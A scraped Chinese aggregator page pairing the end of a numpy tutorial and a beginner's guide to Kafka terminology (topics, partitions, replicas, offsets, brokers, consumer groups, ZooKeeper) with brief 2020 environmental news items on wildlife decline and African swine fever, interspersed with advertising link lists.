    今天我們聊了numpy當中很多常用的計算api,這些api在我們日常做機器學習和數據分析的時候經常用到。比如分析特徵分佈的時候,如果數據量很大是不適合作圖或者是可視化觀察的。這個時候可以從中位數、均值、方差和幾個關鍵百分位點入手,再比如在我們使用softmax多分類的時候,也會用到argmax來獲取分類的結果。

    總之,今天的內容非常關鍵,在numpy整體的應用當中佔比很高,希望大家都能熟悉它們的基本用法。這樣即使以後忘記,用到的時候再查閱也還來得及。

    今天的文章就是這些,如果喜歡本文,可以的話請點個關注,給我一點鼓勵,也方便獲取更多文章。

    本文使用 mdnice 排版

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

  • 一文入門Kafka,必知必會的概念通通搞定

    一文入門Kafka,必知必會的概念通通搞定

    Kakfa在大數據消息引擎領域,絕對是沒有爭議的國民老公。

    這是kafka系列的第一篇文章。預計共出20篇系列文章,全部原創,從0到1,跟你一起死磕kafka。

    本文盤點了 Kafka 的各種術語並且進行解讀,術語可能比較枯燥,但真的是精髓中的精髓!

    了解Kafka之前我們必須先掌握它的相關概念和術語,這對於後面深入學習 Kafka 各種功能將大有裨益。所以,枯燥你也得給我看完!

    大概是有這麼些東西要掌握,不多不多,預計20分鐘可以吃透:

    主題層

    主題層有三個兒子,分別叫做:Topic、Partition、Replica。既然我說是三個兒子,那你懂了,是不可分割的整體。

    Topic(主題)

    Kafka 是分佈式的消息引擎系統,它的主要功能是提供一套完備的消息(Message)發布與訂閱解決方案。

    在 Kafka 中,發布訂閱的對象是主題(Topic),你可以為每個業務、每個應用甚至是每類數據都創建專屬的主題。

    一個Topic是對一組消息的歸納。也可以理解成傳統數據庫里的表,或者文件系統里的一個目錄。

    Partition(分區)

    一個Topic通常都是由多個partition組成的,創建topic時候可以指定partition數量。

    分區優勢

    為什麼需要將Topic分區呢?如果你了解其他分佈式系統,你可能聽說過分片、分區域等說法,比如 MongoDB 和 Elasticsearch 中的 Sharding、HBase 中的 Region,其實它們都是相同的原理。

    試想,如果一個Topic積累了太多的數據以至於單台 Broker 機器都無法容納了,此時應該怎麼辦呢?

    一個很自然的想法就是,能否把數據分割成多份保存在不同的機器上?這不就是分區的作用嗎?其實就是解決伸縮性的問題,每個partition都可以放在獨立的服務器上。

    當然優勢不僅於此,也可以提高吞吐量。kafka只允許單個partition的數據被一個consumer線程消費。因此,在consumer端,consumer并行度完全依賴於被消費的分區數量。綜上所述,通常情況下,在一個Kafka集群中,partition的數量越多,意味着可以到達的吞吐量越大。

    partition結構

    每個partition對應於一個文件夾,該文件夾下存儲該partition的數據和索引文件。

    如圖所示,可以看到兩個文件夾,都對應着一個叫做asd的topic,在該台服務器上有兩個分區,0和2,那麼1呢?在其他服務器上啦!畢竟是分佈式分佈的!

    我們進去asd-0目錄中看看是什麼?有後綴為.index和.log的文件,他們就是該partition的數據和索引文件:

    現在先不管它們是何方神聖,因為我會在【分區機制原理】這篇文章中詳細描述。

    partition順序性

    現在,我需要你睜大眼睛看看關於分區非常重要的一點:

    【每個partition內部保證消息的順序。但是分區之間是不保證順序的】

    這一點很重要,例如kafka中的消息是某個業務庫的數據,mysql binlog是有先後順序的,10:01分我沒有付款,所以pay_date為null,而10:02分我付款了,pay_date被更新了。

    但到了kafka那,由於是分佈式的,多分區的,可就不一定能保證順序了,也許10:02分那條先來,這樣可就會引發嚴重生產問題了。因此,一般我們需要按表+主鍵來分區。保證同一主鍵的數據發送到同一個分區中。

    如果你想要 kafka 中的所有數據都按照時間的先後順序進行存儲,那麼可以設置分區數為 1。

    Replica (副本)

    每個partition可以配置若干個副本。Kafka 定義了兩類副本:領導者副本(Leader Replica)和追隨者副本(Follower Replica)。只能有 1 個領導者副本和 N-1 個追隨者副本。

    為啥要用副本?也很好理解,反問下自己為什麼重要的文件需要備份多份呢?備份機制(Replication)是實現高可用的一個手段。

    需要注意的是:僅Leader Replica對外提供服務,與客戶端程序進行交互,生產者總是向領導者副本寫消息,而消費者總是從領導者副本讀消息。而Follower Replica不能與外界進行交互,它只做一件事:向領導者副本發送請求,請求領導者把最新生產的消息發給它,保持與領導者的同步。

    如果對於剛剛所說的主題、分區、副本還有疑惑,那麼結合下面這張圖再思考一下,我相信你就可以玩轉它了:

    下圖所示,TopicA,具有三個partition,每個partion都有1 個leader副本和 1 個follower者副本。為了保證高可用性,一台機器宕機不會有影響,因此leader副本和follower副本必然分佈在不同的機器上。

    消息層

    Kafka的官方定義是message system,由此我們可以知道Kafka 中最基本的數據單元無疑是消息message,它可理解成數據庫里的一條行或者一條記錄。消息是由字符數組組成。關於消息你必須知道這幾件事:

    消息key

    發送消息的時候指定 key,這個 key 也是個字符數組。key 用來確定消息寫入分區時,進入哪一個分區。你可以用有明確業務含義的字段作為key,比如用戶號,這樣就可以保證同一個用戶號進入同一個分區。

    批量寫入

    為了提高效率, Kafka 以批量batch的方式寫入。

    一個 batch 就是一組消息的集合, 這一組的數據都會進入同一個 topic 和 partition(這個是根據 producer 的配置來定的) 。

    每一個消息都進行一次網絡傳輸會很消耗性能,因此把消息收集到一起再同時處理就高效的多。

    當然,這樣會引入更高的延遲以及吞吐量:batch 越大,同一時間處理的消息就越多。batch 通常都會進行壓縮,這樣在傳輸以及存儲的時候效率都更高一些。

    位移
    生產者向分區寫入消息,每條消息在分區中的位置信息由一個叫位移(Offset)的數據來表徵。分區位移總是從 0 開始,假設一個生產者向一個空分區寫入了 10 條消息,那麼這 10 條消息的位移依次是 0、1、2、…、9。

    服務端

    Kafka 的服務器端由被稱為 Broker 的服務進程構成,即一個 Kafka 集群由多個 Broker 組成,Kafka支持水平擴展,broker數量越多,集群吞吐量越高。在集群中每個broker都有一個唯一brokerid,不得重複。Broker 負責接收和處理客戶端發送過來的請求,以及對消息進行持久化。

    一般會將不同的 Broker 分散運行在不同的機器上,這樣如果集群中某一台機器宕機,kafka可以自動選舉出其他機器上的 Broker 繼續對外提供服務。這其實就是 Kafka 提供高可用的手段之一。

    controller

    Kafka集群中會有一個或者多個broker,其中有且僅有一個broker會被選舉為控制器(Kafka Controller),它負責管理整個集群中所有分區和副本的狀態。

    當某個分區的leader副本出現故障時,由控制器負責為該分區選舉新的leader副本。當檢測到某個分區的ISR集合發生變化時,由控制器負責通知所有broker更新其元數據信息。當為某個topic增加分區數量時,同樣還是由控制器負責分區的重新分配。

    這幾句話可能會讓你覺得困惑不要方 只是突出下控制器的職能很多,而這些功能的具體細節會在後面的文章中做具體的介紹。

    Kafka中的控制器選舉的工作依賴於Zookeeper,成功競選為控制器的broker會在Zookeeper中創建/controller這個臨時(EPHEMERAL)節點,此臨時節點的內容參考如下:

    其中version在目前版本中固定為1,brokerid表示稱為控制器的broker的id編號,timestamp表示競選稱為控制器時的時間戳。

    兩種客戶端

    Kafka有兩種客戶端。生產者和消費者。我們把生產者和消費者統稱為客戶端(Clients)。

    向主題Topic發布消息Message的客戶端應用程序稱為生產者(Producer),生產者程序通常持續不斷地向一個或多個主題發送消息。

    而訂閱這些主題消息的客戶端應用程序就被稱為消費者(Consumer)。和生產者類似,消費者也能夠同時訂閱多個主題的消息。

    Producer

    Producer 用來創建Message。在發布訂閱系統中,他們也被叫做 Publisher 發布者或 writer 寫作者。

    通常情況下,會發布到特定的Topic,並負責決定發布到哪個分區(通常簡單的由負載均衡機制隨機選擇,或者通過key,或者通過特定的分區函數選擇分區。)
    Producer分為Sync Producer 和 Aync Producer。

    Sync Producer同步的生產者,即一定要某條消息成功才會發送下一條。所以它是低吞吐率、一般不會出現數據丟失。

    Aync Producer異步的生產者,有個隊列的概念,是直接發送到隊列裏面,批量發送。高吞吐率、可能有數據丟失的。

    Consumer 和 Consumer Group

    消費者

    Consumer 讀取消息。在發布訂閱系統中,也叫做 subscriber 訂閱者或者 reader 閱讀者。消費者訂閱一個或者多個主題,然後按照順序讀取主題中的數據。

    消費位移

    消費者需要記錄消費進度,即消費到了哪個分區的哪個位置上,這是消費者位移(Consumer Offset)。注意,這和上面所說的消息在分區上的位移完全不是一個概念。上面的“位移”表徵的是分區內的消息位置,它是不變的,即一旦消息被成功寫入到一個分區上,它的位移值就是固定的了。

    而消費者位移則不同,它可能是隨時變化的,畢竟它是消費者消費進度的指示器嘛。通過存儲最後消費的 Offset,消費者應用在重啟或者停止之後,還可以繼續從之前的位置讀取。保存的機制可以是 zookeeper,或者 kafka 自己。

    消費者組

    ConsumerGroup:消費者組,指的是多個消費者實例組成一個組來消費一組主題,分區只能被消費者組中的其中一個消費者去消費,組員之間不能重複消費。

    為什麼要引入消費者組呢?主要是為了提升消費者端的吞吐量。多個消費者實例同時消費,加速整個消費端的吞吐量(TPS)。

    當然它的作用不僅僅是瓜分訂閱主題的數據,加速消費。它們還能彼此協助。假設組內某個實例掛掉了,Kafka 能夠自動檢測到,然後把這個 Failed 實例之前負責的分區轉移給其他活着的消費者,這個過程稱之為重平衡(Rebalance)。

    你務必先把這個詞記住,它是kafka大名鼎鼎的重平衡機制,生產出現的異常問題很多都是由於它導致的。後續我會在【kafka大名鼎鼎又臭名昭著的重平衡】文章中詳細分析。

    Zookeeper

    zookeeper目前在kafka中扮演着舉重輕重的角色和作用~是kafka不可缺少的一個組件。

    目前,Apache Kafka 使用 Apache ZooKeeper 來存儲它的元數據,比如brokers信息、分區的位置和主題的配置等數據就是存儲在 ZooKeeper 集群中。

    注意我的用詞,我只說是目前。why?在 2019 年社區提出了一個計劃,以打破這種依賴關係,並將元數據管理引入 Kafka 本身。因為擁有兩個系統會導致大量的重複。

    在之前的設計中,我們至少需要運行三個額外的 Java 進程,有時甚至更多。事實上,我們經常看到具有與 Kafka 節點一樣多的 ZooKeeper 節點的 Kafka 集群!此外,ZooKeeper 中的數據還需要緩存在 Kafka 控制器上,這導致了雙重緩存。

    更糟糕的是,在外部存儲元數據限制了 Kafka 的可伸縮性。當 Kafka 集群啟動時,或者一個新的控制器被選中時,控制器必須從 ZooKeeper 加載集群的完整狀態。隨着元數據數量的增加,加載過程需要的時間也會增加,這限制了 Kafka 可以存儲的分區數量。

    最後,將元數據存儲在外部會增加控制器的內存狀態與外部狀態不同步的可能性。

    因此,未來,Kafka 的元數據將存儲在 Kafka 本身中,而不是存儲在 ZooKeeper 之類的外部系統中。可以持續關注kafka社區動態哦!

    總結

    一個典型的kafka集群包含若干個producer(向主題發布新消息),若干consumer(從主題訂閱新消息,用Consumer Offset表徵消費者消費進度),cousumergroup(多個消費者實例共同組成的一個組,共同消費多個分區),若干broker(服務器端進程)。還有zookeeper。

    kafka發布訂閱的對象叫主題,每個Topic下可以有多個Partition,Partition中每條消息的位置信息又叫做消息位移(Offset),Partition有副本機制,使得同一條消息能夠被拷貝到多個地方以提供數據冗餘,副本分為領導者副本和追隨者副本。

    可以用下面這張圖來形象表達kafka的組成:

    另外,再po一張思維導圖助你回顧本文所述的術語。

    重要!!關注【胖滾豬學編程】公眾號發送”kafka”。獲取本文所有架構圖以及Kafka全系列思維導圖!

    本文來源於公眾號:【胖滾豬學編程】。一枚集顏值與才華於一身,不算聰明卻足夠努力的女程序媛。用漫畫形式讓編程so easy and interesting!求關注!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

  • 滅絕時代將來臨? WWF:50年來全球野生動物數量驟減2/3

    摘錄自2020年9月16日民視新聞報導

    全球最大的非政府環境保護組織「世界自然基金會」,最近發布了地球生命力報告2020,顯示近半世紀來,全球野生動物種群數量,已平均銳減68%,生物多樣性消失,人類難辭其咎,像是巴西中西部大沼澤的林火,疑似是人為的火災演變成的森林大火,目前就燒毀了70%美洲虎的主要棲息地。

    中南美洲的物種及全球淡水棲息地受到的衝擊尤其嚴重,平均分別下降了94%和84%,世界自然基金會總幹事藍柏堤尼表示,「不到50年我們就看到銳減2/3的野生動物,相較於這些動物棲息在地球上數百萬年,這不過是一眨眼的工夫,第二個原因必須擔憂的是,我們看到過去20年來加速惡化,上次地球生命力報告發布時說的是近6成,但現在是7成。」

    生物多樣性
    國際新聞

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

  • 聯合國生物多樣性報告:10年愛知目標 沒有一項完全達成

    環境資訊中心綜合外電;姜唯 編譯;林大利 審校

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

  • 德東又發現非洲豬瘟 布蘭登堡邦5野豬染疫

    摘錄自2020年9月17日中央社報導

    德國政府今天表示,15日確認東部布蘭登堡邦又有5隻野豬感染非洲豬瘟(ASF)。繼上週發現首例野豬感染非洲豬瘟後,德國目前為止已累計6例。

    布蘭登堡邦(Brandenburg)衛生廳表示,疫病是在死去野豬身上發現,並非農場畜養的豬隻;發現地點靠近上週發現的確認首例。

    聯邦農業部表示,在布蘭登堡邦實驗室初步檢驗結果呈陽性反應後,德國聯邦動物防疫研究院(Friedrich-Loeffler-Institut) 確認那些野豬感染非洲豬瘟。

    過去數月在靠近德國邊界的波蘭,一再傳出並確認有野豬感染非洲豬瘟;根據德國聯邦動物防疫研究院網站資料,波蘭今年以來大約有3100隻野豬感染非洲豬瘟。

    國際新聞
    德國
    非洲豬瘟

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    南投搬家公司費用需注意的眉眉角角,別等搬了再說!

    ※教你寫出一流的銷售文案?